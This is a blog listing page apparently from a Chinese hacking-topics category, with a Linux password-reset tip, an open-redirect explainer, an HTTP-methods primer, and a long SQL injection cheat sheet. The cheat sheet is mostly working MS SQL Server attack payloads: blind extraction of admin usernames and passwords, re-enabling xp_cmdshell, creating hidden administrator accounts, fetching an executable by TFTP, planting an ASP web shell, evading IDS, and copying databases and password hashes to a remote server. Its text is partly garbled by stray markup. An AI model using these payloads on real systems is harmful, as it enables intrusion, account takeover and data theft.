首页
关于
友链
推荐
肥啾解析
百度一下
肥啾GPT
Search
1
宝塔面板登录 phpMyAdmin 提示服务器和客户端上指示的HTTPS之间不匹配
227 阅读
2
Customer complaints evolve with in-car tech
183 阅读
3
测试
146 阅读
4
解决Edge浏览器提示“此网站已被人举报不安全”
64 阅读
5
证明点什么
60 阅读
默认分类
网游架设
手机游戏
python
PHP
Mysql
VBA
C++
JAVA
java基础
生产管理
计划控制
ERP系统开发
APS排产
MES研究
考勤系统
CPA
财管
实务
经济法
战略
审计
税法
藏书架
古典名著
世界名著
编程秘籍
攻防渗透
经管书籍
大佬传经
风雅读物
考试相关
心情格言
拾玉良言
外文报刊
外刊随选
Facebook
Twitter
China Daily
软考
登录
Search
标签搜索
期刊读物
古文
何瑜明
累计撰写
78
篇文章
累计收到
130
条评论
首页
栏目
默认分类
网游架设
手机游戏
python
PHP
Mysql
VBA
C++
JAVA
java基础
生产管理
计划控制
ERP系统开发
APS排产
MES研究
考勤系统
CPA
财管
实务
经济法
战略
审计
税法
藏书架
古典名著
世界名著
编程秘籍
攻防渗透
经管书籍
大佬传经
风雅读物
考试相关
心情格言
拾玉良言
外文报刊
外刊随选
Facebook
Twitter
China Daily
软考
页面
关于
友链
推荐
肥啾解析
百度一下
肥啾GPT
搜索到
4
篇与
的结果
2023-11-16
重置linux密码
按E进入单用户模式添加该语句,然后C+X重启进入单用户模式输入IS查看系统分区,再输入mount -o -remount, -rw / 重新挂载根分区输入passwd重置密码重启生效命令touch /.autorelabel再输入exec /sbin/init等待1分钟提示重启OK
2023年11月16日
6 阅读
0 评论
0 点赞
2023-02-07
SQL注入常用
1.判断有无注入点; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count() from )and 0<>(select count(*) from admin) —判断是否存在admin这张表3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.and 1=(select count() from admin where len()>0)–and 1=(select count(*) from admin where len(用户字段名称name)>0)and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止and 1=(select count() from admin where len()>0)and 1=(select count(*) from admin where len(name)>6) 错误and 1=(select count(*) from admin where len(name)>5) 正确 长度是6and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)>11) 正确and 1=(select count(*) from admin where len(password)>12) 错误 长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字符and 1=(select count(*) from admin where left(name,1)=a) —猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)=ab)—猜解用户帐号的第二位就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) —这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的 ASSIC码就OK.最后把结果再转换成字符.group by users.id having 1=1–group by users.id, users.username, users.password, users.privs having 1=1–; insert into users values( 666, attacker, foobar, 0xffff )–UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable-UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-UNION Select TOP 1 login_blank>_name FROM logintable-UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–看_blank>服务器打的补丁=出错了打了SP4补丁and 1=(select @@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是 _blank>服务器角色sysadmin权限。and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)and sa=(Select System_blank>_user)–and user_blank>_name()=dbo–and 0<>(select user_blank>_name()–看xp_blank>_cmdshell是否删除and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)–xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:inetpubwwwrootxplog70.dll–反向PING自己实验;use master;declare @s int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–加帐号;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add–创建一个虚拟目录E盘:;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w “默认Web站点” -v “e”,”e:”–访问属性:(配合写入一个webshell)declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse爆库 特殊_blank>技巧::%5c= 或者把/和 修改%5提交and 0<>(select top 1 paths from newtable)–得到库名(从1到5都是系统的id,6以上才可以判断)and 1=(select name from master.dbo.sysdatabases where dbid=7)–and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)依次提交 dbid = 7,8,9…. 得到更多的_blank>数据库名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 adminand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=adminand uid>(str(id))) 暴到UID的数值假设为18779569 uid=idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in(id,…)) 来暴出其他的字段and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名依次可以得到_blank>密码。。。。。假设存在 user_blank>_id username ,password 等字段and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)得到WEB路径;create table [dbo].[swap] ([swappass]char);–and (select top 1 swappass from swap)=1–;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)–;use ku1;–;create table cmd (str image);– 建立image类型的表cmd存在xp_blank>_cmdshell的测试过程:;exec master..xp_blank>_cmdshell dir;exec master.dbo.sp_blank>_addlogin jiaoniang$;– 加SQL帐号;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;–;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;–;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;–exec master..xp_blank>_servicecontrol start, schedule 启动_blank>服务exec master..xp_blank>_servicecontrol start, server; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net localgroup administrators jiaoniang$ /add; exec master..xp_blank>_cmdshell tftp -i youip get file.exe– 利用TFTP上传文件;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat如果被限制则可以。select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)查询构造:Select * FROM news Where id=… AND topic=… AND …..adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>select 123;–;use master;–:a or name like fff%;– 显示有一个叫ffff的用户哈。and 1<>(select count(email) from [user]);–;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;–;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;–;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;–;update [users] set email=(select top 1 count(id) from password) where name=ffff;–;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;–;update [users] set email=(select top 1 name from password where id=2) where name=ffff;–上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名 ad得到这个表的ID 得到第二个表的名字insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)–insert into users values( 667,123,123,0xffff)–insert into users values ( 123, admin–, password, 0xffff)–;and user>0;and (select count(*) from sysobjects)>0;and (select count(*) from mysysobjects)>0 //为access_blank>数据库枚举出数据表名;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);–这是将第一个表名更新到aaa的字段处。读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);–然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。读字段是这样:;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));–然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));–然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名获得数据表名update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]获得数据表字段名update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]绕过IDS的检测[使用变量];declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:1、 开启远程_blank>数据库基本语法select from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select from table1 )参数: (1) OLEDB Provider name2、 其中连接字符串参数可以是任何端口用来连接,比如select from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select from table3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。基本语法:insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select from table1) select from table2这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table1) select from table2insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)select * from master.dbo.sysdatabasesinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)select * from user_blank>_database.dbo.sysobjectsinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)select * from user_blank>_database.dbo.syscolumns复制_blank>数据库:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table1) select from database..table1insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from table2) select from database..table2复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下:insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select from _blank>_sysxlogins) select from database.dbo.sysxlogins得到hash之后,就可以进行暴力破解。遍历目录的方法: 先创建一个临时表:temp;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–;insert temp exec master.dbo.xp_blank>_availablemedia;– 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:;– 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– 获得所有子目录的目录树结构,并寸入temp表中;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:webindex.asp;– 查看某个文件的内容;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:;–;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c: *.asp /s/a;–;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:InetpubAdminScriptsadsutil.vbs enum w3svc;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:;– (xp_blank>_dirtree适用权限PUBLIC)写入表:语句1:and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));–语句2:and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin));–语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));–语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–语句5:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));–语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));–语句7:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–语句8:and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin));–语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));–把路径写到表中去:;create table dirs(paths varchar(100), id int)–;insert dirs exec master.dbo.xp_blank>_dirtree c:–and 0<>(select top 1 paths from dirs)–and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–;create table dirs1(paths varchar(100), id int)–;insert dirs exec master.dbo.xp_blank>_dirtree e:web–and 0<>(select top 1 paths from dirs1)–把_blank>数据库备份到网页目录:下载;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:webdown.bak;–and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。and 1=(select user_blank>_id from USER_blank>_LOGIN)and 0=(select user from USER_blank>_LOGIN where user>1)-=- wscript.shell example -=-declare @o intexec sp_blank>_oacreate wscript.shell, @o outexec sp_blank>_oamethod @o, run, NULL, notepad.exe; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe–declare @o int, @f int, @t int, @ret intdeclare @line varchar(8000)exec sp_blank>_oacreate scripting.filesystemobject, @o outexec sp_blank>_oamethod @o, opentextfile, @f out, c:boot.ini, 1exec @ret = sp_blank>_oamethod @f, readline, @line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_blank>_oamethod @f, readline, @line outenddeclare @o int, @f int, @t int, @ret intexec sp_blank>_oacreate scripting.filesystemobject, @o outexec sp_blank>_oamethod @o, createtextfile, @f out, c:inetpubwwwrootfoo.asp, 1exec @ret = sp_blank>_oamethod @f, writeline, NULL,<% set o = server.createobject(“wscript.shell”): o.run( request.querystring(“cmd”) ) %>declare @o int, @ret intexec sp_blank>_oacreate speech.voicetext, @o outexec sp_blank>_oamethod @o, register, NULL, foo, barexec sp_blank>_oasetproperty @o, speed, 150exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528waitfor delay 00:00:05; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05–xp_blank>_dirtree适用权限PUBLICexec master.dbo.xp_blank>_dirtree c:返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。create table dirs(paths varchar(100), id int)建表,这里建的表是和上面 xp_blank>_dirtree相关连,字段相等、类型相同。insert dirs exec master.dbo.xp_blank>_dirtree c:只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果,一步步达到我们想要的信息!
2023年02月07日
32 阅读
0 评论
0 点赞
2022-08-10
开放式重定向漏洞
这种漏洞发生在当目标对象访问一个Web网站时,Web网站返回给浏览器一个不同域(domain)下的新的URL。开放式重定向利用对一个给定域的信任诱使目标对象访问一个恶意Web网站。网络钓鱼攻击也可以采用重定向以诱使用户相信他们正在向可信网站提交信息,而实际上,他们正在将信息发送到恶意网站。辅助其他攻击手段,开放式重定向也可以使黑客从他们的恶意网站上传播恶意软件或者窃取用户身份认证的令牌。开放式重定向一般发生在开发者误信了攻击者控制的输入而将网站重定向到另一个站点,这通常是通过URL参数、HTML刷新标签、DOM(Document Object Model,文档对象模型)中widow对象的location属性等实现的。很多Web网站都是通过在原始URL的参数中设置目标URL来有意实现用户访问的重定向的。应用程序通过使用这个参数来告诉浏览器向目标URL发送一个GET请求,例如,假定Google网站具有重定向到Gmail的功能,就可以通过访问如下URL实现: 在这种情况下,当我们访问上面的URL时,Google网站会接收到一个HTTP的GET请求,然后依据redirect_to参数中指定的值来确定将你的浏览器重定向到哪里。在这之后,Google网站服务器会返回一个用于指示浏览器重定向用户的HTTP响应状态码。通常,这个状态码是302,但有时也可能是301、303、307或308。这些HTTP响应状态码告诉浏览器请求的网页找到了,但是需要浏览器发起一个GET请求到redirect_to参数值,https://www.gmail.com/这个参数值也在HTTP响应Location头中。Location头表示了向哪里重定向GET请求。现在,假设攻击者修改了原始的URL,如下所示: 如果Google没有验证redirect_to参数是否为其将访问者重定向到一个自有合法站点,攻击者就可以将该参数的值换成它们自己的URL。结果是,HTTP响应可能会引导浏览器向https://www..com/发起GET请求。一旦攻击者已经引导用户到他们的恶意网站,就可以发起进一步的攻击。当检查这类漏洞时,要重点关注具有特定名称的URL参数,例如url=、redirect=、next=等,因为这些都有可能会表示引导用户重定向去的URL。另一个需要注意的是,重定向参数不总是明显命名的,参数也可能随着网站的不同而不同,即使同一个网站内部不同的链接时也可能不同。在有些情况下,参数可能以单个字母的形式表示,例如r=或u=等。除了基于参数的攻击之外,HTML标签和JavaScript都可以重定向浏览器。HTML标签可以告知浏览器刷新网页,并向标签中的content属性定义的URL发起GET请求。下面是一个例子: content属性定义了浏览器发起HTTP请求的两个步骤。首先,content属性定义了浏览器在向URL发起HTTP请求前需要等待的时间,在本例中,这个时间是0秒。其次,content属性确定了浏览器向其发起GET请求的网站中URL的参数,在本例中,这个参数是https://www.google.com。当攻击者具有控制标签的content属性的能力时,或者通过其他漏洞能够注入他们自己的标签时,就可以利用这种重定向行为。攻击者还可以通过使用JavaScript修改文档对象模型(DOM)中window对象的location属性来实现重定向用户。DOM是用于HTML和XML文档的API,它允许开发者修改网页的结构、风格和内容。因为location属性表示了请求将被重定向到哪里,浏览器将立刻解释JavaScript脚本并重定向到指定的URL。攻击者可以通过如下形式的JavaScript脚本修改window的location属性:通常,仅当攻击者能够执行JavaScript语句时才能设置window.location的属性值,而获得JavaScript执行权限一般是通过跨站脚本漏洞或者网站允许用户自定义重定向URL的漏洞来实现。
2022年08月10日
34 阅读
0 评论
0 点赞
2022-08-10
HTTP请求定义
HTTP标准定义了以下请求方法:GET、HEAD、POST、PUT、DELETE、TRACE、CONNECT和OPTIONS(PATCH在HTTP RFC中也有提到,但并不常用)。浏览器只会使用HTML发送GET和POST请求。任何PUT、PATCH或DELETE请求都是JavaScript调用HTTP请求的结果。下面将简要介绍请求方法。1.请求方法 GET方法通过请求统一资源标识符(URI)标识信息。URI通常与统一资源定位器(URL)一起使用。严格地说,URL是一种定义资源的URI类型,它包括通过网络位置来定位该资源的方法。例如,http://www.google.com//file.txt和//file.txt都是有效的URI,但是只有http://www.google.com//file.txt是有效的URL,因为它标识了如何通过域名http://www.google.com定位资源。尽管有细微差别,但在引用任何资源标识符时都使用URL。虽然无法强制执行此要求,但GET请求不会更改数据,而只从服务器端检索数据并在HTTP消息体中返回内容。例如,在一个社交媒体网站上,GET请求只会返回你的配置文件名,却不会更新你的配置文件。这种行为对于跨站点请求伪造(CSRF)漏洞至关重要。访问任何URL或网站链接(除非由JavaScript调用),浏览器都会向目标服务器发送GET请求。这种特性对于开放重定向漏洞至关重要。 HEAD方法与GET方法相同,只是服务器不能在响应中返回消息体。 POST方法由服务器决定调用接收服务器上的某些函数。换句话说,其通常会执行某种类型的后端操作,例如创建评论、注册用户、删除账户等。服务器响应POST所执行的操作可能会有所不同。服务器有时可能根本不会返回响应。例如,POST请求可能会导致处理请求时发生错误,并且不会在服务器上保存记录。 PUT方法调用一些引用远程网站或应用程序上已存在的记录的函数。例如,在更新已存在的账户、博客文章或其他内容时可能会使用它。同样,执行的操作可能会有所不同,并可能导致服务器根本不执行任何操作。 DELETE方法请求远程服务器删除用URI标识的远程资源。 TRACE方法是另一种不常见的方法,用于将请求消息返回给请求者。它允许请求者查看服务器接收到的内容,并使用这些信息来测试和收集诊断信息。 被保留的CONNECT方法用于代理服务器。代理服务器可将请求转发到其他服务器。此方法可以启动与所请求资源的双向通信。例如,CONNECT方法可以通过代理访问HTTPS的网站。 OPTIONS方法从服务器请求有关可用通信选项的信息。例如,通过调用OPTIONS可以确定服务器是否接受GET、POST、PUT、DELETE和OPTIONS调用。此方法不会指示服务器是否接受HEAD或TRACE调用。浏览器会自动为特定的内容类型(如application/json)发送这种类型的请求。这种方法称为“飞行前的OPTIONS调用”(preflightOPTIONS call),它起到了CSRF漏洞保护的作用。2.HTTP是无状态的 HTTP请求是无状态的,这意味着发送到服务器的每个请求都被视为一个全新的请求。服务器在接收请求时并不知道它以前与浏览器的通信。这对大多数网站来说都是一个问题,因为网站要记住你是谁。否则,每次发送HTTP请求时你都必须重新输入用户名和密码。这也意味着处理HTTP请求所需的所有数据都必须与客户端发送到服务器的每个请求一起重新加载。为了解释这个令人困惑的内容,思考一下这样一个例子:如果你我之间有一个无状态的对话,在讲每一句话之前,我必须从“我是小明,刚才讨论的是黑客攻击”开始。然后你必须重新载入我们讨论的关于黑客攻击的所有信息。为了避免每次发送HTTP请求时都必须重新发送用户名和密码,网站使用了cookie或基本身份验证
2022年08月10日
12 阅读
0 评论
0 点赞
0:00